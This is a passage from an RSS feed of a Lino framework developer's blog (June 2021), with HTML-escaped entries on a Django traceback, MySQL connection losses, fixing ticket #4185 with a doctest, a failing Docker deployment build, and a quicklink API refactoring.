    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_object_for_this_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/contrib/contenttypes/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;175&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_object_for_this_type&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model_class&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_base_manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_state&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;431&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt;
    &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;262&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__len__&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_fetch_all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1324&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_fetch_all&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_result_cache&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_iterable_class&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__iter__&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;compiler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;results_iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/sql/compiler.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1122&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;apply_converters&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;converter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/backends/mysql/operations.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;313&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;convert_datetimefield_value&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;make_aware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/utils/timezone.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;239&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;make_aware&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;localize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;is_dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;is_dst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/pytz/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;244&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;localize&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tzinfo&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;str&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;tzinfo&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I saw that we have some broken GFKs in Jane: &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;show&lt;/span&gt; &lt;span class="pre"&gt;gfks.BrokenGFKs&lt;/span&gt;&lt;/code&gt;
produces a list of them.&lt;/p&gt;
&lt;p&gt;Lino automatically adds &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.ajax.html#lino.utils.ajax.AjaxExceptionResponse" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.ajax.AjaxExceptionResponse&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to the
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/settings.html#setting-MIDDLEWARE_CLASSES" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;MIDDLEWARE_CLASSES&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; setting. On a production site this caused error
notification emails with a huge subject because the traceback was also printed
in the subject of the message. I locally disabled this middleware on Jane
because I don’t remember why it’s needed at all.&lt;/p&gt;
&lt;p&gt;I also met again with the issue that after submitting an insert window, Lino had
a 504 Gateway Time-out and therefore returned an empty response to a perfectly
reasonable POST request. The client then complains &lt;cite&gt;SyntaxError: JSON.parse:
unexpected character at line 1 column 1 of the JSON data&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0609.html</guid><pubDate>Wed, 09 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, June 8, 2021</title><link>https://luc.lino-framework.org/blog/2021/0608.html</link><description>&lt;section id="tuesday-june-8-2021"&gt;
&lt;h1&gt;Tuesday, June 8, 2021&lt;a class="headerlink" href="#tuesday-june-8-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The UI issue (window doesn’t close after POST) is fixed, but the MySQL
connection still gets lost after a POST. IOW I can submit a first comment, but
the second comment receives an empty response to the POST request.&lt;/p&gt;
&lt;p&gt;Here is a second comment just to test whether submitting an insert window still
causes the MySQL connection to get lost.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0608.html</guid><pubDate>Tue, 08 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, June 5, 2021</title><link>https://luc.lino-framework.org/blog/2021/0605.html</link><description>&lt;section id="saturday-june-5-2021"&gt;
&lt;h1&gt;Saturday, June 5, 2021&lt;a class="headerlink" href="#saturday-june-5-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="fixing-4185"&gt;
&lt;h2&gt;Fixing #4185&lt;a class="headerlink" href="#fixing-4185" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yesterday Sharif and I had a session where we discovered issue &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4185"&gt;#4185&lt;/a&gt;.
I had no idea at this moment and gave this to Sharif. Later he commented:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Basically they all have the same: “type”: “Father(Mother)” in the href. Even if
the type were correct, it wouldn’t still work because react weren’t
acknowledging these values. …&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;That comment made me tilt. I commented:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Ha! I understood (maybe !) : we need to call BaseRequest.clear_cached_status()
before rendering each button. Read the docs and explore. Maybe you understand.
Ask questions if it isn’t clear.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Now I found time to verify it myself.  Indeed this was the explanation of the
issue.  Fixing the issue itself was less than two minutes of work.&lt;/p&gt;
&lt;p&gt;But this little bug has been living there for more than a year. And the test
suite didn’t complain.  That’s the real problem. And another problem is that
Sharif had no chance to understand what I was talking about, at least not in
reasonable time.&lt;/p&gt;
&lt;p&gt;So before changing any code, I wrote a test case that reproduces the problem:
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/humanlinks.html#reproduce-4185" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Reproduce #4185&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;En passant I converted the developer docs about &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.humanlinks.html#module-lino_xl.lib.humanlinks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.humanlinks&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
from autodoc to prosa. And I fixed a cosmetic bug, a missing space: Lino said
“Father(Mother)” instead of “Father (Mother)”.&lt;/p&gt;
&lt;p&gt;TODO: write end-user documentation.&lt;/p&gt;
&lt;p&gt;Here are my code changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2021-06-05 05:36 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/book.git"&gt;5ad1ece&lt;/a&gt;
(fixing #4185 (reproduce the issue))&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-06-05 05:42 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/xl.git"&gt;cd03f93&lt;/a&gt;
(fix #4185)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-06-05 05:42 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/book.git"&gt;4594e20&lt;/a&gt;
(fixing #4185 (reproduce the issue))&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-06-05 06:35 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/xl.git"&gt;8a9dd7a&lt;/a&gt;
(convert humanlinks docs to prosa)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-06-05 06:36 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/book.git"&gt;d0d387d&lt;/a&gt;
(convert humanlinks docs to prosa)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is how this test was failing before I fixed the
issue:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ doctest docs/specs/humanlinks.rst
**********************************************************************
File &amp;quot;docs/specs/humanlinks.rst&amp;quot;, line 88, in humanlinks.rst
Failed example:
    print(links[8])  #doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
Expected:
    &amp;lt;a href=&amp;#39;javascript:Lino.humanlinks.LinksByHuman.insert.run(...
    &amp;quot;type&amp;quot;: &amp;quot;Adopted son(Adopted daughter)&amp;quot;...&amp;quot;&amp;gt;Adopted son&amp;lt;/a&amp;gt;
Got:
    &amp;lt;a href=&amp;#39;javascript:Lino.humanlinks.LinksByHuman.insert.run(null,{ &amp;quot;base_params&amp;quot;: { &amp;quot;parent&amp;quot;: 218, &amp;quot;type&amp;quot;: &amp;quot;01&amp;quot; }, &amp;quot;data_record&amp;quot;: { &amp;quot;data&amp;quot;: { &amp;quot;child&amp;quot;: null, &amp;quot;childHidden&amp;quot;: null, &amp;quot;disabled_fields&amp;quot;: {  }, &amp;quot;parent&amp;quot;: &amp;quot;Mr Lars Braun&amp;quot;, &amp;quot;parentHidden&amp;quot;: 218, &amp;quot;type&amp;quot;: &amp;quot;Father(Mother)&amp;quot;, &amp;quot;typeHidden&amp;quot;: &amp;quot;01&amp;quot; }, &amp;quot;phantom&amp;quot;: true, &amp;quot;title&amp;quot;: &amp;quot;New Personal Link&amp;quot; }, &amp;quot;record_id&amp;quot;: null })&amp;#39; style=&amp;quot;text-decoration:none&amp;quot; title=&amp;quot;Open a dialog window to insert a new Personal Link.&amp;quot;&amp;gt;Adopted son&amp;lt;/a&amp;gt;
**********************************************************************
1 items had failures:
   1 of  18 in humanlinks.rst
***Test Failed*** 1 failures.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="dockerizing-lino"&gt;
&lt;h2&gt;Dockerizing Lino&lt;a class="headerlink" href="#dockerizing-lino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hannes and I had a session about dockerizing Lino.&lt;/p&gt;
&lt;p&gt;We wrote a new dockerfile to deploy a running Lino noi server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker build -t lino -f Dockerfiles/deploy .
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;debian_updated : this is to avoid installing lots of debian packages again and
again when testing.  If I haven’t working getlino for a while it can make sense
to build a fresh image:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go getlino
$ docker build --no-cache -t debian_updated -f Dockerfiles/debian_updated .
...
Successfully tagged debian_updated:latest
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is where we stopped:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker build -t lino -f Dockerfiles/deploy .
...
Successfully installed BTrees-4.9.1 ZConfig-3.6.0 appy-1.0.7 bleach-3.3.0 docopt-0.6.2 num2words-0.5.10 persistent-4.7.0 transaction-3.0.1 zc.lockfile-2.0 zodb-5.6.0 zodbpickle-2.0.0
mysql -u root  -e &amp;quot;create user &amp;#39;mysite1&amp;#39;@&amp;#39;localhost&amp;#39; identified by &amp;#39;4zz4o1ga5xA&amp;#39;;&amp;quot;
ERROR 2002 (HY000): Can&amp;#39;t connect to local MySQL server through socket &amp;#39;/var/run/mysqld/mysqld.sock&amp;#39; (2)
Error: mysql -u root  -e &amp;quot;create user &amp;#39;mysite1&amp;#39;@&amp;#39;localhost&amp;#39; identified by &amp;#39;4zz4o1ga5xA&amp;#39;;&amp;quot; ended with return code 1
The command &amp;#39;/bin/sh -c getlino startsite --batch noi mysite1&amp;#39; returned a non-zero code: 1
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="upgrade-on-jane"&gt;
&lt;h2&gt;Upgrade on Jane&lt;a class="headerlink" href="#upgrade-on-jane" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We had a strange issue after upgrading Jane:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;TypeError: t.state.site_data.choicelists[‘system.DashboardLayouts’] is undefined&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;The issue vanished after replacing one &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;this&lt;/span&gt;&lt;/code&gt; by &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;window.App&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;makedocs failed because one template (&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.tpl.py&lt;/span&gt;&lt;/code&gt;) is not included in
the sdist.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0605.html</guid><pubDate>Sat, 05 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Friday, June 4, 2021</title><link>https://luc.lino-framework.org/blog/2021/0604.html</link><description>&lt;section id="friday-june-4-2021"&gt;
&lt;h1&gt;Friday, June 4, 2021&lt;a class="headerlink" href="#friday-june-4-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="review-the-quicklink-api-for-dashboard"&gt;
&lt;h2&gt;review the quicklink api for dashboard&lt;a class="headerlink" href="#review-the-quicklink-api-for-dashboard" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This was yet another avalanche of long-awaited code cleanup.&lt;/p&gt;
&lt;p&gt;This change in the quicklink definition API was needed because the new
DashboardLayouts need a static list of the quicklinks, i.e. which does not
depend on the user type. Only when rendering them, Lino checks for view
permission. Because the new Dashboard is an actor, and the Site’s quicklinks are
in the toolbar of this actor.&lt;/p&gt;
&lt;p&gt;New property &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.quicklinks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.quicklinks&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
New method &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.get_quicklink_items" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.get_quicklink_items()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Methods &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.setup_quicklinks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.setup_quicklinks()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.get_quicklinks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.get_quicklinks()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; have a
changed API.&lt;/p&gt;
&lt;p&gt;Also &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/plugin.html#lino.core.plugin.Plugin.get_quicklinks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.get_quicklinks()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/plugin.html#lino.core.plugin.Plugin.setup_quicklinks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.setup_quicklinks()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;List of the touched repositories:&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;Project&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Status&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;URL&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;lino&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino"&gt;https://gitlab.com/lino-framework/lino&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;xl&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/xl"&gt;https://gitlab.com/lino-framework/xl&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;noi&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/noi"&gt;https://gitlab.com/lino-framework/noi&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;avanti&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/avanti"&gt;https://gitlab.com/lino-framework/avanti&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;book&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/book"&gt;https://gitlab.com/lino-framework/book&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;welfare&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/welfare"&gt;https://gitlab.com/lino-framework/welfare&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;welcht&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/welcht"&gt;https://gitlab.com/lino-framework/welcht&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;presto&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/presto"&gt;https://gitlab.com/lino-framework/presto&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;shop&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/shop"&gt;https://gitlab.com/lino-framework/shop&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;amici&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
